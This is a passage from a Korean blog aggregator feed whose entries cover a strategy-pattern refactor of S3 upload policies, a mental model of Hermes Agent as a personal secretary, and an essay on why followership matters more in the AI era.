&lt;p data-ke-size="size16"&gt;반면 maxFileSize, objectKeyPrefixForUser, objectKeyDirectory는 목적별로 달라진다. 그래서 ProfileImageUploadPurposePolicy, ActivityRecordImageUploadPurposePolicy, ScreenTimeOcrReportImageUploadPurposePolicy 안으로 들어간다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;결과적으로 새 업로드 목적이 추가될 때 기존 정책 클래스들을 수정하지 않아도 된다. 새 목적에 맞는 UploadPurposePolicy 구현체를 추가하면 된다. 전략 패턴이 줄여주는 것은 기존 정책 분기 수정이다.&lt;/p&gt;
&lt;h2 data-heading="무엇이 좋아졌는가?" data-ke-size="size26"&gt;무엇이 좋아졌는가?&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;1. 변경 지점이 줄었다. 새 업로드 목적을 추가할 때 기존 UploadFileSizePolicy, UploadObjectKeyFactory의 분기문을 다시 열지 않는다. 목적별 정책 클래스 하나를 추가한다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;2. 응집도가 높아졌다. SCREEN_TIME_OCR_REPORT_IMAGE의 파일 크기 제한과 저장 경로가 같은 클래스에 있다. 이 목적을 이해하려면 여러 정책 파일을 찾아다니지 않아도 된다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;3. 테스트가 목적 단위로 쉬워졌다. ScreenTimeOcrReportImageUploadPurposePolicy를 테스트하면 OCR 리포트 업로드 목적의 파일 크기와 경로 규칙을 함께 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;4. S3UploadService의 역할이 단순해졌다. 이 서비스는 presigned-url 발급 흐름을 조립한다. 목적별 정책 판단은 정책 객체가 담당한다.&lt;/p&gt;
&lt;h2 data-heading="전략 패턴을 쓸 때의 기준" data-ke-size="size26"&gt;전략 패턴을 쓸 때의 기준&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;전략 패턴은 다음 조건이 있을 때 잘 맞는다.&lt;/p&gt;
&lt;ul style="list-style-type: disc;" data-ke-list-type="disc"&gt;
&lt;li&gt;규칙의 종류가 앞으로 늘어날 가능성이 있다.&lt;/li&gt;
&lt;li&gt;새 규칙을 추가할 때 기존 분기문을 여러 곳에서 수정해야 한다.&lt;/li&gt;
&lt;li&gt;호출하는 쪽이 세부 규칙을 몰라도 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-heading="마치며" data-ke-size="size26"&gt;마치며&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;전략 패턴은 흩어진 변경 지점을 모으는 일이다. 이번 리팩터링의 핵심은 업로드 목적별로 달라지는 정책을 UploadPurposePolicy로 묶은 것이다. 공통 정책은 공통 정책으로 두고, 목적별로 바뀌는 파일 크기와 object key 생성 규칙만 전략으로 분리했다. 그 결과 새 목적을 추가할 때 기존 분기문을 수정하는 대신 새 전략을 추가하는 구조가 됐다. 유지보수하기 훨씬 좋아졌다.&lt;/p&gt;</summary>
    <title>정책 추가에 따라 분기문 생길 때, 전략 패턴 적용하기</title>
    <updated>2026-05-15T22:30:08+09:00</updated>
    <dc:date>2026-05-15T22:30:08+09:00</dc:date>
  </entry>
  <entry>
    <author>
      <name>행복한 시지프</name>
    </author>
    <content type="html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd"&gt;
&lt;html&gt;&lt;body&gt;
&lt;p&gt;&lt;figure class="imageblock alignCenter" data-ke-mobilestyle="widthOrigin" data-filename="hermes-agent-2.png" data-origin-width="1080" data-origin-height="708"&gt;&lt;span data-url="https://blog.kakaocdn.net/dn/dVRuCA/dJMcafmjqh6/FyixzvCb2DmmeXWme007l0/img.png" data-phocus="https://blog.kakaocdn.net/dn/dVRuCA/dJMcafmjqh6/FyixzvCb2DmmeXWme007l0/img.png"&gt;&lt;img src="https://blog.kakaocdn.net/dn/dVRuCA/dJMcafmjqh6/FyixzvCb2DmmeXWme007l0/img.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdVRuCA%2FdJMcafmjqh6%2FFyixzvCb2DmmeXWme007l0%2Fimg.png" onerror="this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';" loading="lazy" width="1080" height="708" data-filename="hermes-agent-2.png" data-origin-width="1080" data-origin-height="708"&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;p data-ke-size="size16"&gt;요새 Hermes Agent 가 참 핫하다. 나도 관심이 매우 커졌고, 이제는 Hermes와 아침을 시작하고, Hermes와 하루를 마무리한다. 일어나서 날씨를 리포트 받는다. 마스크를 쓸지, 우산을 쓸지, 옷은 어떻게 입을지 제안받는다. 자기 전에는 나의 하루를 회고해준다. 내가 하루 동안 일하면서, 어떤 책을 읽었고, 어떤 것에 집중했는지, 어떤 생각을 했는지 돌아봐 주고, 나의 과거 생각들과 연결해 주거나 모순점을 발견해 준다. 일과 중에도 여러 번 나를 도와준다. 이렇듯 Hermes는 나의 삶을 편하게 만들어주고 있다. 더 잘 쓰면, 삶이 더 편해지리라 생각한다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;p data-ke-size="size16"&gt;도구를 잘 쓰는 방법이 고민일 때, 멘탈 모델을 묻곤 한다. '이 도구를 잘 사용하려면 어떤 멘탈 모델이 필요한가?', '잘 쓰는 사람과 못 쓰는 사람은 어떤 차이가 있을까?' 이에 대한 답은 "비서"이다. 내가 비서를 두고 있다는 생각으로 Hermes Agent를 대해야 한다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;p data-ke-size="size16"&gt;그렇지만 문제는 우리는 비서를 모른다. 비서를 둬 본 적도 없을뿐더러, 비서가 어떻게 일하는지 본 적도 없을 가능성이 높다. 드라마에서나 보았으려나. 당연히 비서를 어떻게 활용하는지 배운 적도 없다. 비서의 본질과, C레벨은 왜 비서를 두는지 이야기하며 해소해 보려고 한다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;p data-ke-size="size16"&gt;비서라는 직업은 왜 존재할까? 2가지이다. 인지심리학, 경제학 측면이 있다. 먼저 인지심리학 측면은, 허버트 사이먼의 제한된 합리성에 기반한다. 인간이 하루에 쓸 수 있는 의사결정 수에는 제한이 있다는 것이다. 즉, 인지 부하를 줄여서 제한된 인지 자원을 고부가가치 판단에 집중해서 쓸 수 있도록 해야 한다. 결정을 많이 해야 하는 C레벨에게는 이런 장치가 더욱 필요할 것이다. 그것의 발현이 비서이다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;p data-ke-size="size16"&gt;경제학 측면에서 보면, 비교우위 이론으로 설명할 수 있다. 국제무역론 시간에 리카도의 비교우위론을 배운다. 교과서 예시로는 타이거 우즈와 잔디 깎기가 나온다. 타이거 우즈가 몸이 좋으므로, 골프도 잘 치고, 잔디도 더 잘 깎을 것이다. 하지만 타이거 우즈가 잔디를 깎음으로 인해 포기해야 했던 CF 비용 10억, 즉 기회비용을 생각하면, 직접 잔디를 깎지 않고, 잔디 깎기를 고용하는 게 이득이다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;p data-ke-size="size16"&gt;나는 이 2가지가 비서를 잘 활용하는 멘탈 모델이라고 생각한다. 인지 부하를 줄이고, 내가 더 잘하더라도 일을 시켜야 한다. 대표적으로 인지 부하를 가지는 일에 무엇이 있을까? 사실 이걸 생각하기가 어려운 것 같다. 매일 하는 일이기 때문에, 그게 인지 부하를 만들리라 생각하기 어렵다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;p data-ke-size="size16"&gt;가령, 매일 아침 날씨를 확인하는 일이 있을 것이다. 옷을 고르는 일이 있을 것이다. 하루의 할 일을 정하는 일, 캘린더에 내가 직접 약속을 등록하는 일, 녹음한 파일을 AI로 전사해서 노트에 넣어두는 일, 밤에 회고해야겠다고 생각하는 일, 점심에 약을 먹어야겠다고 생각하는 일 등 무수히 많다. 내가 직접 생각하지 않고, 적절한 시간에 알려달라고 명령해 두고, 비서가 찾아오면 나는 그 일에 힘껏 집중하면 된다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;비서라는 메타포와, 그 멘탈 모델을 기반으로 내 삶을 돌아보면 보자. 내가 실제 비서가 있다면, 이 정리를 내가 할까? 비서가 있다면 식당을 내가 예약할까? 비서가 있다면 이 이메일을 내가 쓰고 있을까?&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;p data-ke-size="size16"&gt;이 모든 것은 설명을 듣기보다는, 비서를 고용하면서부터 시작된다. 비서를 두기 전에는 이 생각을 하기 어렵다. 나를 전적으로 보좌하는 비서가 있다면, 위임해야 할 일이 하나둘씩 떠오르게 될 것이다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;p data-ke-size="size16"&gt;자, 남는 컴퓨터 하나 잡고, Codex에 "/goal Hermes Agent 세팅하고 Discord로 대화할 수 있게 만들어줘"라고 명령하여, 비서를 고용해 보자.&lt;/p&gt;
&lt;/body&gt;&lt;/html&gt;
</content>
    <id>https://happysisyphe.tistory.com/104</id>
    <link href="https://happysisyphe.tistory.com/104"/>
    <summary type="html">&lt;p&gt;&lt;figure class="imageblock alignCenter" data-ke-mobileStyle="widthOrigin" data-filename="hermes-agent-2.png" data-origin-width="1080" data-origin-height="708"&gt;&lt;span data-url="https://blog.kakaocdn.net/dn/dVRuCA/dJMcafmjqh6/FyixzvCb2DmmeXWme007l0/img.png" data-phocus="https://blog.kakaocdn.net/dn/dVRuCA/dJMcafmjqh6/FyixzvCb2DmmeXWme007l0/img.png"&gt;&lt;img src="https://blog.kakaocdn.net/dn/dVRuCA/dJMcafmjqh6/FyixzvCb2DmmeXWme007l0/img.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdVRuCA%2FdJMcafmjqh6%2FFyixzvCb2DmmeXWme007l0%2Fimg.png" onerror="this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';" loading="lazy" width="1080" height="708" data-filename="hermes-agent-2.png" data-origin-width="1080" data-origin-height="708"/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;요새 Hermes Agent 가 참 핫하다. 나도 관심이 매우 커졌고, 이제는 Hermes와 아침을 시작하고, Hermes와 하루를 마무리한다. 일어나서 날씨를 리포트 받는다. 마스크를 쓸지, 우산을 쓸지, 옷은 어떻게 입을지 제안받는다. 자기 전에는 나의 하루를 회고해준다. 내가 하루 동안 일하면서, 어떤 책을 읽었고, 어떤 것에 집중했는지, 어떤 생각을 했는지 돌아봐 주고, 나의 과거 생각들과 연결해 주거나 모순점을 발견해 준다. 일과 중에도 여러 번 나를 도와준다. 이렇듯 Hermes는 나의 삶을 편하게 만들어주고 있다. 더 잘 쓰면, 삶이 더 편해지리라 생각한다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;도구를 잘 쓰는 방법이 고민일 때, 멘탈 모델을 묻곤 한다. '이 도구를 잘 사용하려면 어떤 멘탈 모델이 필요한가?', '잘 쓰는 사람과 못 쓰는 사람은 어떤 차이가 있을까?' 이에 대한 답은 "비서"이다. 내가 비서를 두고 있다는 생각으로 Hermes Agent를 대해야 한다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;그렇지만 문제는 우리는 비서를 모른다. 비서를 둬 본 적도 없을뿐더러, 비서가 어떻게 일하는지 본 적도 없을 가능성이 높다. 드라마에서나 보았으려나. 당연히 비서를 어떻게 활용하는지 배운 적도 없다. 비서의 본질과, C레벨은 왜 비서를 두는지 이야기하며 해소해 보려고 한다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;비서라는 직업은 왜 존재할까? 2가지이다. 인지심리학, 경제학 측면이 있다. 먼저 인지심리학 측면은, 허버트 사이먼의 제한된 합리성에 기반한다. 인간이 하루에 쓸 수 있는 의사결정 수에는 제한이 있다는 것이다. 즉, 인지 부하를 줄여서 제한된 인지 자원을 고부가가치 판단에 집중해서 쓸 수 있도록 해야 한다. 결정을 많이 해야 하는 C레벨에게는 이런 장치가 더욱 필요할 것이다. 그것의 발현이 비서이다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;경제학 측면에서 보면, 비교우위 이론으로 설명할 수 있다. 국제무역론 시간에 리카도의 비교우위론을 배운다. 교과서 예시로는 타이거 우즈와 잔디 깎기가 나온다. 타이거 우즈가 몸이 좋으므로, 골프도 잘 치고, 잔디도 더 잘 깎을 것이다. 하지만 타이거 우즈가 잔디를 깎음으로 인해 포기해야 했던 CF 비용 10억, 즉 기회비용을 생각하면, 직접 잔디를 깎지 않고, 잔디 깎기를 고용하는 게 이득이다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;나는 이 2가지가 비서를 잘 활용하는 멘탈 모델이라고 생각한다. 인지 부하를 줄이고, 내가 더 잘하더라도 일을 시켜야 한다. 대표적으로 인지 부하를 가지는 일에 무엇이 있을까? 사실 이걸 생각하기가 어려운 것 같다. 매일 하는 일이기 때문에, 그게 인지 부하를 만들리라 생각하기 어렵다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;가령, 매일 아침 날씨를 확인하는 일이 있을 것이다. 옷을 고르는 일이 있을 것이다. 하루의 할 일을 정하는 일, 캘린더에 내가 직접 약속을 등록하는 일, 녹음한 파일을 AI로 전사해서 노트에 넣어두는 일, 밤에 회고해야겠다고 생각하는 일, 점심에 약을 먹어야겠다고 생각하는 일 등 무수히 많다. 내가 직접 생각하지 않고, 적절한 시간에 알려달라고 명령해 두고, 비서가 찾아오면 나는 그 일에 힘껏 집중하면 된다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;비서라는 메타포와, 그 멘탈 모델을 기반으로 내 삶을 돌아보면 보자. 내가 실제 비서가 있다면, 이 정리를 내가 할까? 비서가 있다면 식당을 내가 예약할까? 비서가 있다면 이 이메일을 내가 쓰고 있을까?&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;이 모든 것은 설명을 듣기보다는, 비서를 고용하면서부터 시작된다. 비서를 두기 전에는 이 생각을 하기 어렵다. 나를 전적으로 보좌하는 비서가 있다면, 위임해야 할 일이 하나둘씩 떠오르게 될 것이다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;자, 남는 컴퓨터 하나 잡고, Codex에 "/goal Hermes Agent 세팅하고 Discord로 대화할 수 있게 만들어줘"라고 명령하여, 비서를 고용해 보자.&lt;/p&gt;</summary>
    <title>비서(Hermes Agent)를 잘 활용하는 멘탈 모델</title>
    <updated>2026-05-13T22:30:04+09:00</updated>
    <dc:date>2026-05-13T22:30:04+09:00</dc:date>
  </entry>
  <entry>
    <author>
      <name>w0nder</name>
    </author>
    <content type="html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd"&gt;
&lt;html&gt;&lt;body&gt;&lt;p&gt;최근 들어 조직 내에서 팔로워십의 중요성이 점차 커지고 있다는 점이 실감된다. 이는 단순히 조직 문화가 변화했기 때문만은 아니다. 인공지능 기술의 발전으로 무언가를 창출하는 데 필요한 시간과 비용이 급격히 줄어든 영향이 크다. 과거에는 하나의 제품이나 기능을 만들기 위해 반복적인 회의와 설득, 계획 수립 및 승인의 과정을 거쳤다. 실패에 따른 대가가 컸기 때문에, 조직은 실행에 앞서 최선의 방향을 찾아내기 위해 많은 공을 들였다. 하지만 현재는 하나의 프로토타입을 제작하는 비용이 거의 없다고 해도 무리가 아니다. 이제는 하루 만에 새로운 아이디어를 실제로 구현해보는 일이 가능한 시대에 접어들었다.
그렇지만 기억해야 할 것은, 무엇인가를 만드는 일이 쉬워졌다고 해서, 무엇을 만들어야 하는지에 대한 통찰까지 자동으로 생기는 것은 아니라는 점이다. 오히려 제작이 용이해질수록 적합한 방향을 선택하고 결과물에서 중요한 함의를 찾아내며, 이를 다음 단계로 이어가는 능력이 더욱 중요해지고 있다. 누구든 빠르게 시도할 수 있는 환경이 조성되면서, 시장과 조직 내부 모두에서 훨씬 더 많은 실험과 시행착오가 발생하고 있기 때문이다.
이러한 환경에서 점점 더 강조되고 있는 역량이 바로 팔로워십이다. 오늘날의 조직은 모든 것이 완벽히 정렬된 이후에야 움직이는 시대를 지나왔다. 이제는 오랜 시간 하나의 정답을 찾으려 애쓰기보다는, 작고 빠른 실행을 반복하며 그 과정에서 학습하는 방향으로 변화하고 있다. 조직 전체는 단일한 거대 계획 아래 통제되기보다는 다양한 작은 판단과 현장의 세밀한 조율을 통해 방향을 다듬으며 나아간다.
따라서 현대 조직에서 요구되는 '좋은 팔로워'는 단순히 지시에 따르는 사람이 아니다. 또한 주어진 일을 아무 생각 없이 빠르게 처리하는 것만으로도 충분하지 않다. 진정한 팔로워란 조직의 방향성을 이해하고 이를 바탕으로 주체적으로 사고하며 능동적으로 행동할 수 있는 사람이다. 이들은 필요할 경우 문제를 스스로 발견하고, 더 나은 대안을 제안하거나 기존의 접근 방식을 수정할 수도 있어야 한다. 중요한 것은 무조건적인 따름이 아니라, 공동의 목표를 깊이 이해하고 자신의 판단력과 통찰력을 발휘해 기여하는 것이다.
대부분의 조직은 처음부터 구체적인 해답을 가지고 움직이지 않는다. 보통은 "우리는 이 방향으로 간다"라는 정도의 넓은 비전만 공유한 채 출발한다. 이후 실제 실행 단계에서는 현장에서 부딪히는 수많은 시행착오를 통해 세부적인 부분들이 조율되고 개선된다. 전략을 세우는 사람들이 종종 현장에서 떨어져 있을 수밖에 없는 만큼, 실제 상황에서 발생하는 예기치 못한 변수들까지 모두 고려하기는 어렵다. 이 때문에 조직이 현실에 적응하며 발전하기 위해서는 현장에 가까운 사람들이 끊임없이 판단하고 조정하는 역할을 맡아야 한다. 결국, 훌륭한 팔로워는 단순한 지시 수행자가 아니라, 실질적인 문제를 발견하고 해결하며, 조직의 방향을 환경에 맞게 조정하는 데 기여하는 사람이다.
이러한 특징은 특히 스타트업에서 더욱 뚜렷하게 나타난다. 스타트업은 일반적으로 숙련된 인재들만으로 팀을 구성하기 어렵다. 이미 검증된 인재들은 안정적인 대기업에 주로 남아 있거나, 규모가 작은 조직에 합류할 때 신중한 태도를 보이는 경우가 많기 때문이다. 그 결과, 스타트업은 다양한 배경과 경험 수준을 가진 사람들이 모여 함께 문제를 해결하는 구조를 가지게 된다.
이러한 환경에서는 모든 사항을 긴 회의와 설명을 통해 조율하는 데 지나치게 많은 자원을 투입하기가 쉽지 않다. 오히려 작은 실행을 통해 빠르게 결과를 내고, 이를 기반으로 실패와 피드백을 반복하여 공동의 감각을 형성해 나가는 편이 더 효율적일 때가 많다. 이는 조율 자체를 포기한 것이 아니라 조율의 방식이 달라진 것이다. 과거에는 회의실에서 말로 정렬했다면, 이제는 실행과 결과물을 통해 정렬하는 방식으로 변화한 것이다. 그리고 이 과정에서 팔로워십의 중요성이 한층 부각된다. 각자가 제멋대로 행동하거나 수동적으로 기다리는 상태가 아니라, 공동의 방향 속에서 자율적으로 움직일 수 있어야 하기 때문이다.
물론 빠른 실행이 반드시 학습으로 이어지는 것은 아니다. 뚜렷한 방향 없이 단순히 바쁘게 움직이는 것은 학습이라기보다 혼란에 더 가깝다. 특히 경험이 부족한 조직일수록 이런 위험에 더 취약하다. 왜냐하면 조직은 서로 다른 관점과 생각을 가진 사람들이 함께 협업하는 공간이기 때문이다. 모두가 같은 생각만 한다면 안정감은 유지할 수 있을지 몰라도 새로운 가능성을 발견하기는 어려울 것이다. 반대로 각자 자신만의 확신을 고수한다면 조직은 방향성을 잃고 나아가지 못할 가능성이 크다. 가장 중요한 것은 다양한 차이를 인정하되, 공통된 목표를 잃지 않는 것이다. 탁월한 팔로워십은 바로 여기서 시작되는 듯하다. 조직이 추구하는 큰 방향성을 이해하면서도 각자의 판단력과 감각을 활용해 현실적으로 끊임없이 조율해 나아가는 것. 단순히 지시를 따르는 것이 아니라, 더 나은 방향을 함께 만들어가려는 태도가 핵심이다.
물론 어떤 사람들은 자신의 방식과 방향을 고집하고 싶어 한다. 이들에게 조직의 틀이 때로 답답하게 느껴질 수도 있다. 그러기에 스스로 믿는 길을 설계하고자 창업을 선택하는 사람들도 많다. 하지만 창업 역시 기존의 팔로워 위치에서 리더로 역할이 전환될 뿐이며, 본질적으로 다른 구조는 아니다. 첫 번째 동료가 합류하는 순간부터 시작되는 조율과 협업이라는 과제는 언제나 존재한다. 결국 모든 조직은 다양한 사람들이 하나의 방향을 함께 만들어가는 과정 속에서 운영되는 셈이다.
현시대에 진정으로 희소한 능력은 어쩌면 대단히 특별하거나 거창한 것이 아닐지도 모른다. 같은 목표를 공유하면서도 자신의 관점을 잃지 않고, 동시에 조직의 방향과 현실 사이에서 유연하게 균형을 잡을 줄 아는 능력일 수 있다. 이 능력은 수동적으로 따르기만 하지도 않고, 그렇다고 독단적으로 자신만의 확신에 갇히지도 않는 절묘한 균형감각이라 할 수 있다. 기술 발달로 인해 무엇인가를 만들어내는 일 자체는 점점 더 쉬워지고 있다. 그래서 앞으로 더욱 중요해질 자질은 성숙하고 유연한 자세로 협력할 수 있는 능력이 아닐까 싶다.
&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;
</content>
    <id>https://w0nder.land/posts/76-%ED%8C%94%EB%A1%9C%EC%9B%8C%EC%8B%AD%EC%9D%B4%20%EB%8D%94%20%EC%A4%91%EC%9A%94%ED%95%B4%EC%A1%8C%EB%8B%A4.</id>
    <link href="https://w0nder.land/posts/76-%ED%8C%94%EB%A1%9C%EC%9B%8C%EC%8B%AD%EC%9D%B4%20%EB%8D%94%20%EC%A4%91%EC%9A%94%ED%95%B4%EC%A1%8C%EB%8B%A4."/>
    <summary type="html">최근 들어 조직 내에서 팔로워십의 중요성이 점차 커지고 있다는 점이 실감된다. 이는 단순히 조직 문화가 변화했기 때문만은 아니다. 인공지능 기술의 발전으로 무언가를 창출하는 데 필요한 시간과 비용이 급격히 줄어든 영향이 크다. 과거에는 하나의 제품이나 기능을 만들기 위해 반복적인 회의와 설득, 계획 수립 및 승인의 과정을 거쳤다. 실패에 따른 대가가 컸기 때문에, 조직은 실행에 앞서 최선의 방향을 찾아내기 위해 많은 공을 들였다. 하지만 현재는 하나의 프로토타입을 제작하는 비용이 거의 없다고 해도 무리가 아니다. 이제는 하루 만에 새로운 아이디어를 실제로 구현해보는 일이 가능한 시대에 접어들었다.
그렇지만 기억해야 할 것은, 무엇인가를 만드는 일이 쉬워졌다고 해서, 무엇을 만들어야 하는지에 대한 통찰까지 자동으로 생기는 것은 아니라는 점이다. 오히려 제작이 용이해질수록 적합한 방향을 선택하고 결과물에서 중요한 함의를 찾아내며, 이를 다음 단계로 이어가는 능력이 더욱 중요해지고 있다. 누구든 빠르게 시도할 수 있는 환경이 조성되면서, 시장과 조직 내부 모두에서 훨씬 더 많은 실험과 시행착오가 발생하고 있기 때문이다.
이러한 환경에서 점점 더 강조되고 있는 역량이 바로 팔로워십이다. 오늘날의 조직은 모든 것이 완벽히 정렬된 이후에야 움직이는 시대를 지나왔다. 이제는 오랜 시간 하나의 정답을 찾으려 애쓰기보다는, 작고 빠른 실행을 반복하며 그 과정에서 학습하는 방향으로 변화하고 있다. 조직 전체는 단일한 거대 계획 아래 통제되기보다는 다양한 작은 판단과 현장의 세밀한 조율을 통해 방향을 다듬으며 나아간다.
따라서 현대 조직에서 요구되는 '좋은 팔로워'는 단순히 지시에 따르는 사람이 아니다. 또한 주어진 일을 아무 생각 없이 빠르게 처리하는 것만으로도 충분하지 않다. 진정한 팔로워란 조직의 방향성을 이해하고 이를 바탕으로 주체적으로 사고하며 능동적으로 행동할 수 있는 사람이다. 이들은 필요할 경우 문제를 스스로 발견하고, 더 나은 대안을 제안하거나 기존의 접근 방식을 수정할 수도 있어야 한다. 중요한 것은 무조건적인 따름이 아니라, 공동의 목표를 깊이 이해하고 자신의 판단력과 통찰력을 발휘해 기여하는 것이다.
대부분의 조직은 처음부터 구체적인 해답을 가지고 움직이지 않는다. 보통은 "우리는 이 방향으로 간다"라는 정도의 넓은 비전만 공유한 채 출발한다. 이후 실제 실행 단계에서는 현장에서 부딪히는 수많은 시행착오를 통해 세부적인 부분들이 조율되고 개선된다. 전략을 세우는 사람들이 종종 현장에서 떨어져 있을 수밖에 없는 만큼, 실제 상황에서 발생하는 예기치 못한 변수들까지 모두 고려하기는 어렵다. 이 때문에 조직이 현실에 적응하며 발전하기 위해서는 현장에 가까운 사람들이 끊임없이 판단하고 조정하는 역할을 맡아야 한다. 결국, 훌륭한 팔로워는 단순한 지시 수행자가 아니라, 실질적인 문제를 발견하고 해결하며, 조직의 방향을 환경에 맞게 조정하는 데 기여하는 사람이다.
이러한 특징은 특히 스타트업에서 더욱 뚜렷하게 나타난다. 스타트업은 일반적으로 숙련된 인재들만으로 팀을 구성하기 어렵다. 이미 검증된 인재들은 안정적인 대기업에 주로 남아 있거나, 규모가 작은 조직에 합류할 때 신중한 태도를 보이는 경우가 많기 때문이다. 그 결과, 스타트업은 다양한 배경과 경험 수준을 가진 사람들이 모여 함께 문제를 해결하는 구조를 가지게 된다.
이러한 환경에서는 모든 사항을 긴 회의와 설명을 통해 조율하는 데 지나치게 많은 자원을 투입하기가 쉽지 않다. 오히려 작은 실행을 통해 빠르게 결과를 내고, 이를 기반으로 실패와 피드백을 반복하여 공동의 감각을 형성해 나가는 편이 더 효율적일 때가 많다. 이는 조율 자체를 포기한 것이 아니라 조율의 방식이 달라진 것이다. 과거에는 회의실에서 말로 정렬했다면, 이제는 실행과 결과물을 통해 정렬하는 방식으로 변화한 것이다. 그리고 이 과정에서 팔로워십의 중요성이 한층 부각된다. 각자가 제멋대로 행동하거나 수동적으로 기다리는 상태가 아니라, 공동의 방향 속에서 자율적으로 움직일 수 있어야 하기 때문이다.
물론 빠른 실행이 반드시 학습으로 이어지는 것은 아니다. 뚜렷한 방향 없이 단순히 바쁘게 움직이는 것은 학습이라기보다 혼란에 더 가깝다. 특히 경험이 부족한 조직일수록 이런 위험에 더 취약하다. 왜냐하면 조직은 서로 다른 관점과 생각을 가진 사람들이 함께 협업하는 공간이기 때문이다. 모두가 같은 생각만 한다면 안정감은 유지할 수 있을지 몰라도 새로운 가능성을 발견하기는 어려울 것이다. 반대로 각자 자신만의 확신을 고수한다면 조직은 방향성을 잃고 나아가지 못할 가능성이 크다. 가장 중요한 것은 다양한 차이를 인정하되, 공통된 목표를 잃지 않는 것이다. 탁월한 팔로워십은 바로 여기서 시작되는 듯하다. 조직이 추구하는 큰 방향성을 이해하면서도 각자의 판단력과 감각을 활용해 현실적으로 끊임없이 조율해 나아가는 것. 단순히 지시를 따르는 것이 아니라, 더 나은 방향을 함께 만들어가려는 태도가 핵심이다.
물론 어떤 사람들은 자신의 방식과 방향을 고집하고 싶어 한다. 이들에게 조직의 틀이 때로 답답하게 느껴질 수도 있다. 그러기에 스스로 믿는 길을 설계하고자 창업을 선택하는 사람들도 많다. 하지만 창업 역시 기존의 팔로워 위치에서 리더로 역할이 전환될 뿐이며, 본질적으로 다른 구조는 아니다. 첫 번째 동료가 합류하는 순간부터 시작되는 조율과 협업이라는 과제는 언제나 존재한다. 결국 모든 조직은 다양한 사람들이 하나의 방향을 함께 만들어가는 과정 속에서 운영되는 셈이다.
현시대에 진정으로 희소한 능력은 어쩌면 대단히 특별하거나 거창한 것이 아닐지도 모른다. 같은 목표를 공유하면서도 자신의 관점을 잃지 않고, 동시에 조직의 방향과 현실 사이에서 유연하게 균형을 잡을 줄 아는 능력일 수 있다. 이 능력은 수동적으로 따르기만 하지도 않고, 그렇다고 독단적으로 자신만의 확신에 갇히지도 않는 절묘한 균형감각이라 할 수 있다. 기술 발달로 인해 무엇인가를 만들어내는 일 자체는 점점 더 쉬워지고 있다. 그래서 앞으로 더욱 중요해질 자질은 성숙하고 유연한 자세로 협력할 수 있는 능력이 아닐까 싶다.
</summary>
    <title>팔로워십이 더 중요해졌다.</title>
    <updated>2026-05-17T18:00:00+09:00</updated>
    <dc:date>2026-05-17T18:00:00+09:00</dc:date>
  </entry>
  <entry>
    <author>
      <name>민소네</name>
    </author>
